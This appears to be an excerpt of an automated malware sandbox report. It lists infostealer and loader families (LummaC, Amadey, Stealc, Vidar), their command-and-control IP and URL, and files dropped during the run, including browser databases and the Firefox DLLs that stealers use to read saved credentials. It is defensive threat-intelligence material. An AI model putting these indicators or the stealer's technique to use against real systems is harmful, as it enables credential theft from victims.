	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.21.99	Set-up!.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse
	gf3yK6i4OX.exe	Get hash	malicious	LummaC	Browse
	0WO49yZcDA.exe	Get hash	malicious	LummaC	Browse
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse
	u1z7S3hr06.exe	Get hash	malicious	LummaC, Stealc	Browse
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	gJkNLYV0ax.exe	Get hash	malicious	LummaC	Browse
1.1.1.1	6fW0GedR6j.xls	Get hash	malicious	Unknown	Browse	1.1.1.1/ctrl/playback.php
	PO-230821_pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	www.974dp.com/sn26/?kJBLpb8=qaEGeuQorcUQurUZCuE8d9pas+Z0M0brqtX248JBolEfq8j8F1R9i1jKZexhxY54UlRG&ML0tl=NZlpi
	AFfv8HpACF.exe	Get hash	malicious	Unknown	Browse	1.1.1.1/
	INVOICE_90990_PDF.exe	Get hash	malicious	FormBook	Browse	www.quranvisor.com/usvr/?mN9d3vF=HHrW7cA9N4YJlebHFvlsdlDciSnnaQItEG8Ccfxp291VjnjcuwoPACt7EOqEq4SWjIf8&Pjf81=-Zdd-V5hqhM4p2S
	Go.exe	Get hash	malicious	Unknown	Browse	1.1.1.1/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	LightSpoofer.exe	Get hash	malicious	Unknown	Browse	104.26.9.59
	Solara-3.0.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.16.1
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse	104.18.18.237
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.197.170
	finathot.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.178.25
CLOUDFLARENETUS	LightSpoofer.exe	Get hash	malicious	Unknown	Browse	104.26.9.59
	Solara-3.0.exe	Get hash	malicious	LummaC	Browse	172.67.197.170
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.67.146
	Rechnung736258.pdf.lnk	Get hash	malicious	LummaC	Browse	104.21.16.1
	https://shibe-rium.net/	Get hash	malicious	Unknown	Browse	104.18.18.237
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.197.170
	finathot.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.67.178.25
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Vidar, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, XWorm	Browse	185.215.113.16

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	2BI8rJKpBa.exe	Get hash	malicious	Stealc, Vidar	Browse
	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	1So9BcQi1J.exe	Get hash	malicious	Stealc, Vidar	Browse
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DBKEHDGD

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGDBFIIECBGDGDGDHCAK

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	11829
Entropy (8bit):	5.4628909130298915
Encrypted:	false
SSDEEP:	192:PnPOeRnLYbBp6dJ0aX+H6SEXKiF35RHWNBw8d2Sl:HDe0JUaL1HEwD0
MD5:	D5F69CF84FA753D9A8AE12F0236F8BC3
SHA1:	51DDA8703F7AC9BDC96C792F554D3A1B7F97E792
SHA-256:	5027AB4D12328F9C9E580FD6247F2A8188F54FBDEA99B5C033BE1E7895D76599
SHA-512:	AAA695B066CEFDC7542B0158EADF3018DD46743B2A9AAB97181FB455EDD82B061806294F8FFC90249A772A92D0926955C71E7D28EECE5979B0695439D3A21236
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1734808667);..user_pref("app.up

C:\ProgramData\FBGHCGCAEBFIJKFIDBGHDGHCGH

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJDBKJKFIECAAAKFBFBF

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIIECAAK

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJDHDGDAAAAKFIDGHJDGCGCFHJ

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJEGIJEGDBFHDGCAFCAE

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_EUCyhuW.exe_1b338aef60bb2262272619b510d6b6292e686938_c8654dd2_d5aa1795-4462-47c1-9927-bd6fc059d1fc\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7256980841729516
Encrypted:	false
SSDEEP:	96:9IFIZhEJns9sh1yDfUQXIDcQvc6QcEVcw3cE//+HbHg/8BRTf3o8Fa9OyWZAX/dP:WSZhEJn00BU/Yj/qzuiFpZ24IO8Aj
MD5:	527E19740FA73C448CC1C6886C29B274
SHA1:	0F983EA5774853D461397DFD57F4B6AB9CCD1F6F
SHA-256:	695D25F974D009469874F72FB0EC2605855538BC0243F06DD0E5D1F4E12A05F4
SHA-512:	17D744AF043A0E228730004DB6464F722F8F1CBFB6ED28F87514835625C0C07CA9074D231DA8A83C3598388EDB2A099162CB0578F52968ED4ABD02DE4E8CF893
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.2.8.2.1.7.1.5.2.1.1.1.5.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.2.8.2.1.7.1.7.7.1.0.9.2.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.5.a.a.1.7.9.5.-.4.4.6.2.-.4.7.c.1.-.9.9.2.7.-.b.d.6.f.c.0.5.9.d.1.f.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.4.b.b.b.1.8.b.-.3.6.8.e.-.4.2.c.9.-.a.b.c.6.-.3.2.f.2.b.8.d.e.c.7.7.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.E.U.C.y.h.u.W...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.p.c.P.i.n.g...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.6.0.-.0.0.0.1.-.0.0.1.4.-.0.8.8.2.-.5.8.c.b.d.c.5.3.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.f.8.f.e.4.d.d.b.1.2.e.2.2.3.9.6.d.b.2.4.b.9.7.7.f.f.e.c.1.5.d.5.0.0.0.0.0.9.0.4.!.0.0.0.0.7.5.6.e.8.3.6.b.c.a.9.0.5.9.d.2.c.a.c.4.8.a.9.7.9.a.c.2.f.a.0.8.8.2.a.d.e.9.b.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA9F0.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Dec 21 19:16:11 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	43022
Entropy (8bit):	1.7036763821806151
Encrypted:	false
SSDEEP:	192:qDW4DWHOUKv6XL9JimZxc0wXXES62Z7wN:oHzHvs9Jim8kS62Z
MD5:	EB242AC6989B96B00193CD1C1DF7A1F6
SHA1:	4D7EB2BE8A0D9A34C085F37298EEB3BCD55B89AD
SHA-256:	050210B4AC7E7F61663E0AF36EBD024FD3D19239B3D4F29E7B200828D56D1661
SHA-512:	6D50B08255E166D55B7558AC51E14A80B37600E59EF5026E5726821B025AD5DBF808005719C50F48723543044C0968822CFA008E093896173A149314E9EFD82B
Malicious:	false
Preview:	MDMP..a..... .........gg........................0...........T...`!..........T.......8...........T...........h...........................................................................................................eJ..............GenuineIntel............T.......`.....gg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAA3F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8276
Entropy (8bit):	3.692398399508905
Encrypted:	false
SSDEEP:	192:R6l7wVeJkg6l6YECo6Agmf/uJvZpry89bRnsfzV7m:R6lXJL6l6Yo6Agmf/uJvPRsfzU
MD5:	42A30BDC3175D16DEF1B2F70ACD29695
SHA1:	F147E75941DFF80801FB9864C331A60E930EFBCB
SHA-256:	7A74986DB86DC8D56D93691C3541D9C022256848428AB2755697BDA8B8FDCE34
SHA-512:	D994DA5F7A39FB18752FFC670644F74513BF41C0B2FCD1E438A561CCC4B5F3A396651ED11E5E2CFA74045FD4CB308A30683DB1F9313FD036FCE8C581EE600EAC
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAA5F.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4646
Entropy (8bit):	4.467300475866282
Encrypted:	false
SSDEEP:	48:cvIwWl8zsIJg77aI96VWpW8VYtYm8M4JqSEmuFA+q8uErL5ZKFb3qd:uIjfOI7gk7VtJRK5ZKFTqd
MD5:	B27E45263313951D3EAC98F7908EF5E1
SHA1:	DD89A818C6E4421B7FD2B5FCFB441F6A083FB7FD
SHA-256:	461772AA7E5F76DD2013A10841B2933118FA3B63B0A50DB679282AF52CA782CE
SHA-512:	6FF102ADA89C23319CD9EE309AF5078E020D0B360E9E82377C572C2AFC2C2C91A831D50005AE4AC16FA51A0536901E267889EEAC45DCF44C05C6DA1ED647DD56
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="641418" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 2BI8rJKpBa.exe, Detection: malicious, Browse Filename: 2AIgdyA1Cl.exe, Detection: malicious, Browse Filename: 1QNOKwVoOT.exe, Detection: malicious, Browse Filename: R2CgZG545D.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1So9BcQi1J.exe, Detection: malicious, Browse Filename: Tii6ue74NB.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
